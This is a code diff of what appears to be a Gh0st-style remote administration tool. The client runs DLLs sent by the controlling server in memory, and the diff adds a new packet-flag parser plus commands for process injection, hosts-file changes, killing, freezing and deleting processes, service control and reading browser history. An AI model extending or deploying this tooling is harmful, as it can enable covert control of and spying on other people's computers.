diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 5b45327..eb4a6c7 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -202,7 +202,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) if (ulLength <= sz)break; DllExecuteInfo* info = (DllExecuteInfo*)(szBuffer + 1); if (info->Size == ulLength - sz && info->RunType == MEMORYDLL) { - PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit); + PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, m_conn); CloseHandle(CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, szBuffer + sz), 0, NULL)); Mprintf("Execute '%s'%d succeed: %d Length: %d\n", info->Name, info->CallType, szBuffer[1], info->Size); } diff --git a/client/SystemManager.cpp b/client/SystemManager.cpp index 186aa96..b532121 100644 --- a/client/SystemManager.cpp +++ b/client/SystemManager.cpp @@ -16,11 +16,6 @@ #pragma comment(lib,"psapi.lib") -enum -{ - COMMAND_WINDOW_CLOSE, //关闭窗口 - COMMAND_WINDOW_TEST, //操作窗口 -}; ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// @@ -195,7 +190,7 @@ VOID CSystemManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } - case COMMAND_WINDOW_TEST: //操作窗口 + case CMD_WINDOW_TEST: //操作窗口 { TestWindow(szBuffer+1); break; diff --git a/common/commands.h b/common/commands.h index 13e6f06..e81d83e 100644 --- a/common/commands.h +++ b/common/commands.h @@ -163,6 +163,7 @@ enum COMMAND_UPDATE = 53, // 客户端升级 COMMAND_SHARE = 59, // 分享主机 COMMAND_PROXY = 60, // 代理映射 + TOKEN_SYSINFOLIST = 61, // 主机管理 // 服务端发出的标识 TOKEN_AUTH = 100, // 要求验证 @@ -284,6 +285,72 @@ enum DecryptCommand { typedef DecryptCommand BroType; +// 这是服务管理页面既有定义 +#define CMD_WINDOW_CLOSE 0 // 关闭窗口 +#define CMD_WINDOW_TEST 1 // 操作窗口 + +// MachineManager 系统管理, 前几个枚举值顺序不得修改 +enum MachineManager { + COMMAND_MACHINE_PROCESS, + COMMAND_MACHINE_WINDOWS, + COMMAND_MACHINE_NETSTATE, + COMMAND_MACHINE_SOFTWARE, + COMMAND_MACHINE_HTML, + COMMAND_MACHINE_FAVORITES, + COMMAND_MACHINE_WIN32SERVICE, + COMMAND_MACHINE_DRIVERSERVICE, + COMMAND_MACHINE_TASK, + COMMAND_MACHINE_HOSTS, //不能乱序号 + + COMMAND_APPUNINSTALL,//卸载 + COMMAND_WINDOW_OPERATE,//窗口控制 + COMMAND_WINDOW_CLOSE,//关闭 + COMMAND_PROCESS_KILL,//结束进程 + COMMAND_PROCESS_KILLDEL,//结束进程----删除 + COMMAND_PROCESS_DEL,//强制删除 不需要结束进程 + COMMAND_PROCESS_FREEZING,//冻结 + COMMAND_PROCESS_THAW,//解冻 + COMMAND_HOSTS_SET,//hosts + + COMMAND_SERVICE_LIST_WIN32, + COMMAND_SERVICE_LIST_DRIVER, + COMMAND_DELETESERVERICE, + COMMAND_STARTSERVERICE, + COMMAND_STOPSERVERICE, + COMMAND_PAUSESERVERICE, + COMMAND_CONTINUESERVERICE, + + COMMAND_TASKCREAT, + COMMAND_TASKDEL, + COMMAND_TASKSTOP, + COMMAND_TASKSTART, + + COMMAND_INJECT, + + TOKEN_MACHINE_PROCESS, + TOKEN_MACHINE_WINDOWS, + TOKEN_MACHINE_NETSTATE, + TOKEN_MACHINE_SOFTWARE, + TOKEN_MACHINE_HTML, + TOKEN_MACHINE_FAVORITES, + TOKEN_MACHINE_WIN32SERVICE, + TOKEN_MACHINE_DRIVERSERVICE, + TOKEN_MACHINE_HOSTS, + TOKEN_MACHINE_SERVICE_LIST, + TOKEN_MACHINE_TASKLIST, + + TOKEN_MACHINE_MSG, +}; + +struct WINDOWSINFO { + char strTitle[1024]; + DWORD m_poceessid; + DWORD m_hwnd; + bool canlook; + int w; + int h; +}; + enum { CLIENT_TYPE_DLL = 0, // 客户端代码以DLL运行 @@ -387,7 +454,8 @@ public: char szBuildDate[12]; int iMultiOpen; int iStartup; // 启动方式 - char szReserved[130]; // 占位,使结构体占据300字节 + int iHeaderEnc; // 数据加密类型 + char szReserved[126]; // 占位,使结构体占据300字节 public: void SetType(int typ) { @@ -471,7 +539,7 @@ struct PluginParam { char IP[100]; // 主控IP int Port; // 主控端口 State *Exit; // 客户端状态 - void* User; // 自定义参数 + void* User; // CONNECT_ADDRESS* 指针 PluginParam(const char*ip, int port, State *s, void* u=0) : Port(port), Exit(s), User(u){ strcpy_s(IP, ip); } diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index bdb2aa3..92406db 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -124,7 +124,7 @@ protected: return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED }; } // More version may be added in the future. - const char version0[] = "Shine", version1[] = "<>", version2[] = "Hello?"; + const char version0[] = "Shine", version1[] = "<>", version2[] = "Hello?", version3[] = "HELL"; if (memcmp(version0, szPacketFlag, sizeof(version0) - 1) == 0) { memcpy(m_szPacketFlag, version0, sizeof(version0) - 1); m_nCompareLen = strlen(m_szPacketFlag); @@ -150,6 +150,14 @@ protected: compressMethod = COMPRESS_NONE; m_Encoder = new Encoder(); } + else if (memcmp(version3, szPacketFlag, sizeof(version3) - 1) == 0) { + memcpy(m_szPacketFlag, version3, sizeof(version3) - 1); + m_nCompareLen = strlen(m_szPacketFlag); + m_nFlagLen = 8; + m_nHeaderLen = m_nFlagLen + 8; + m_bParsed = TRUE; + m_Encoder = new Encoder(); + } else { return PR{ PARSER_FAILED }; } diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp index 12927ef..1667423 100644 --- a/server/2015Remote/SystemDlg.cpp +++ b/server/2015Remote/SystemDlg.cpp @@ -18,11 +18,6 @@ typedef struct ItemData } }ItemData; -enum -{ - COMMAND_WINDOW_CLOSE, //关闭窗口 - COMMAND_WINDOW_TEST, //操作窗口 -}; IMPLEMENT_DYNAMIC(CSystemDlg, CDialog) CSystemDlg::CSystemDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) @@ -370,7 +365,7 @@ void CSystemDlg::OnWlistClose() { ZeroMemory(lpMsgBuf,20); - lpMsgBuf[0]=COMMAND_WINDOW_CLOSE; //注意这个就是我们的数据头 + lpMsgBuf[0]=CMD_WINDOW_CLOSE; //注意这个就是我们的数据头 auto data = (ItemData*)pListCtrl->GetItemData(nItem); DWORD hwnd = data->ID; //得到窗口的句柄一同发送 4 djfkdfj dkfjf 4 memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //1 4 @@ -390,7 +385,7 @@ void CSystemDlg::OnWlistHide() if (nItem>=0) { ZeroMemory(lpMsgBuf,20); - lpMsgBuf[0]=COMMAND_WINDOW_TEST; //窗口处理数据头 + lpMsgBuf[0]=CMD_WINDOW_TEST; //窗口处理数据头 auto data = (ItemData*)pListCtrl->GetItemData(nItem); DWORD hwnd = data->ID; //得到窗口的句柄一同发送 pListCtrl->SetItemText(nItem,2,"隐藏"); //注意这时将列表中的显示状态为"隐藏" @@ -413,7 +408,7 @@ void CSystemDlg::OnWlistRecover() if (nItem>=0) { ZeroMemory(lpMsgBuf,20); - lpMsgBuf[0]=COMMAND_WINDOW_TEST; + lpMsgBuf[0]=CMD_WINDOW_TEST; auto data = (ItemData*)pListCtrl->GetItemData(nItem); DWORD hwnd = data->ID; pListCtrl->SetItemText(nItem,2,"显示"); @@ -435,7 +430,7 @@ void CSystemDlg::OnWlistMax() if (nItem>=0) { ZeroMemory(lpMsgBuf,20); - lpMsgBuf[0]=COMMAND_WINDOW_TEST; + lpMsgBuf[0]=CMD_WINDOW_TEST; auto data = (ItemData*)pListCtrl->GetItemData(nItem); DWORD hwnd = data->ID; pListCtrl->SetItemText(nItem,2,"显示"); @@ -457,7 +452,7 @@ void CSystemDlg::OnWlistMin() if (nItem>=0) { ZeroMemory(lpMsgBuf,20); - lpMsgBuf[0]=COMMAND_WINDOW_TEST; + lpMsgBuf[0]=CMD_WINDOW_TEST; auto data = (ItemData*)pListCtrl->GetItemData(nItem); DWORD hwnd = data->ID; pListCtrl->SetItemText(nItem,2,"显示");